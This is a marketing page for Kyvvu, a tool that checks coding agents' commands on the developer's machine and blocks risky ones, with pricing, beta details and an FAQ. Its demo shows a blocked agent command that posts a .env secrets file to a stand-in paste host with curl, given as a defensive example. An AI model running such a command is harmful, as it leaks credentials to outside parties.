Private beta · 36 of 40 places left · Free for 6 months

You review the PR.
Who reviewed the 400 commands that led to it?

A coding agent can read every secret on a laptop, wipe a repository, or push your source code somewhere it shouldn't go — in one second, without asking anyone. Kyvvu gives you one set of rules across every coding agent in your company, and stops the dangerous action before it happens.

No demo call required. One short form, one email back from us.
If we don't hear from you within a week, we will delete your details.

What keeps happening

Three sentences your security team does not want to hear

Coding agents are the sharpest version of a problem you now have in several places at once — they act on their own, at machine speed, with the access rights of whoever launched them. They also happen to be the ones sitting closest to your source code and your credentials.

Data loss

"The agent read the credentials file, and then it had internet access."

Every API key, database password and cloud credential on that laptop is now something an agent can act on — or paste somewhere public — while trying to be helpful.

Destruction

"The agent was cleaning up, so it deleted the branch. And the database."

A single command, run in a fraction of a second, that a human would have thought twice about. There is no undo, and often no record of what happened.

No visibility

"We don't actually know which agents our developers installed."

Coding agents arrive per developer, not per procurement cycle. There is no list, no policy, and no way to answer an auditor asking what they touched.

None of this requires a hacker, and none of it requires a badly worded instruction. "Clean up this dataset" is a perfectly reasonable thing to ask. The agent decides for itself which steps to take to get there — and one of those steps is a DELETE against something that mattered. Every individual action was permitted. The damage is in the sequence.

The fix

Rules you write once. Enforced on every agent, on every machine.

Kyvvu checks what a coding agent is about to do, before it does it — and lets it through, flags it, or stops it. You set the rules centrally; they apply to every developer, every laptop, every build pipeline, immediately.

The check runs on the machine itself, next to the agent. Your source code, your secrets and your prompts never leave your environment and never reach us. Kyvvu is a European company, and this is deliberate.

a real block — the agent had just read a secrets file

# the agent tries to run a command after reading .env

Bash(psql $DATABASE_URL -c "select * from customers")

↳ [kyvvu] No exec after secret readBLOCKED

# and it stays blocked for the rest of the session

Bash(curl -X POST https://paste.example.com -d @.env)

↳ [kyvvu] No exec after secret readBLOCKED

recorded, attributed, and visible to you in the dashboard

Not a warning after the fact. The action does not run.

The rules you switch on

Plain sentences, not code. Switch on the ones that apply, and set each to warn or block.

Those are the ones we ship. You can switch any of them off, change them, or write your own — they are sentences, not code, and they live in your repository rather than in our console.

Start with everything set to warn. Nothing is blocked, nothing breaks, and after two weeks you have something you have never had before: a factual picture of what the coding agents in your company are actually doing. Then you turn the important ones to block.

One place to set the rules. Nothing leaves the machine.

This is the part security teams ask about first, so plainly: the check happens on the developer's own machine, inside the agent itself. There is nothing for your traffic to pass through, no copy of your code sitting with a vendor, and no dependency on us being available. If our servers went dark tomorrow, enforcement on your laptops would carry on.

Central policy for coding agents, enforced locally on every developer machine and build pipeline, with the record sent to your own logging.
Central rules, local enforcement, your logging. One policy, managed in one place. Enforced inside each agent on each machine — laptops, build pipelines, contractors.
What the beta looks like

Three steps, and we do most of the work

01

One setup call

We get you running on one team, in watch-only mode. It takes under an hour and changes nothing about how your developers work.

02

Two weeks of watching

You get a written picture of what your coding agents actually did — which secrets they read, which commands they ran, where they went.

03

You turn on enforcement

You decide which rules block. From that moment, the dangerous action stops before it runs, on every machine you've covered.

Which agents it covers

Claude Code Live today
Cursor Being built
GitHub Copilot Being built
OpenAI Codex Being built
OpenCode Being built

Claude Code works today — command line, VS Code, JetBrains and GitHub Actions. The rest are being built alongside the beta teams, in the order the beta teams need them. Tick the ones you use in the form and you decide what we build first.

Where this comes from

Not a prototype. The engine is already in production.

Kyvvu's security engine has been running for a while now, governing custom AI agents inside organisations in financial services, insurance and healthcare — the kind of places that ask hard questions before anything gets near their data. It is built on published research, and the parts you would want to inspect are source-available rather than a black box.

Coding agents are that same problem, in the form every company now has. What is new here is the packaging, not the security engine underneath it.

What it costs

Free for six months. After that you pay for what you use — and nothing you don't.

You are charged only for hours an agent is actually running. Not per seat, not per laptop, not per year.

  • The first six months: free and unlimited, for every team in the beta. Long enough to run it properly, decide whether it earns its place, and take it to your board — not a fortnight's trial.
  • After that: an indicative €0.05 per agent-hour. A developer running an agent all day costs about 40 cents; a team of ten doing that every working day comes to roughly €85 a month.
  • No permanent free tier, deliberately. We would rather charge a little and find out it's worth something to you than give it away and never know.
  • No lock-in, no minimum, no annual contract. Switch it off and it's gone. Beta teams keep the beta rate for a year.

Pricing shown is indicative and may change before general availability. Beta participants will be told before anything changes.

Request beta access

36 places left. Four questions.

We email you once to arrange the setup call. No newsletter, no sales sequence, and your details go to nobody else. If we don't hear back from you within a week, we delete them. If it isn't a fit, we'll say so.

One email. No reply within a week and we delete your details. Privacy policy.

Questions we get asked first

Does our code or data go to you?
No. The check runs on the developer's own machine, inside the agent — your source code, your secrets and your prompts never leave it. Only the decisions travel, and you choose where they travel to: straight into your own logging (Splunk, Datadog, whatever you already run), in which case they never reach us at all, or into our dashboard if you'd rather not wire anything up.
Will this slow developers down or get in their way?
Not measurably. The check adds well under a millisecond, and in watch-only mode nothing is blocked at all. Most teams run the first two weeks without a single developer noticing.
Can a developer just switch it off?
The rules are set centrally, not on the laptop, and attempts to bypass are recorded. This is a management control, not a suggestion.
We only use Cursor / Copilot / something else.
Say so in the form. Claude Code works today; the rest is being built with the beta teams, and what our beta teams use is what we build first.
Can we write our own rules?
Yes, and most teams do within the first month. Ours are a starting point, not a fixed list. They are readable sentences, they live in your own repository, and they are reviewed like any other change.
What does the audit trail give us?
A tamper-evident record covering every policy — not only the ones that fired. Which rules were in force, what was checked, what was allowed, what was blocked, on whose machine, in what order. It answers "what did our AI actually touch?" for your board, your customers, your auditor and the EU AI Act — and it is a by-product of the enforcement, not a report someone has to write.
What's the catch with the private beta?
Here's the honest version. We sell agent security to large organisations building their own AI agents — that's the business. Along the way we built ourselves a small tool to watch our own developers' Claude Code usage, because we weren't comfortable not knowing, and we've been running it internally for months. Enough CISOs have now told us they have the same gap that we want to find out whether our internal tool is genuinely useful to anyone else, or whether it only suits us. That's the whole experiment. You get it free and you get our attention; we get to find out if there is a product here. If the answer turns out to be no, we will tell you that rather than quietly keep charging you.

Kyvvu is an Agent Security Kernel — a security layer that runs inside AI agents and checks every action before it runs. Built on Runtime Governance for AI Agents: Policies on Paths — Maurits Kaptein, full professor, Eindhoven University of Technology. European company; your data never leaves your environment.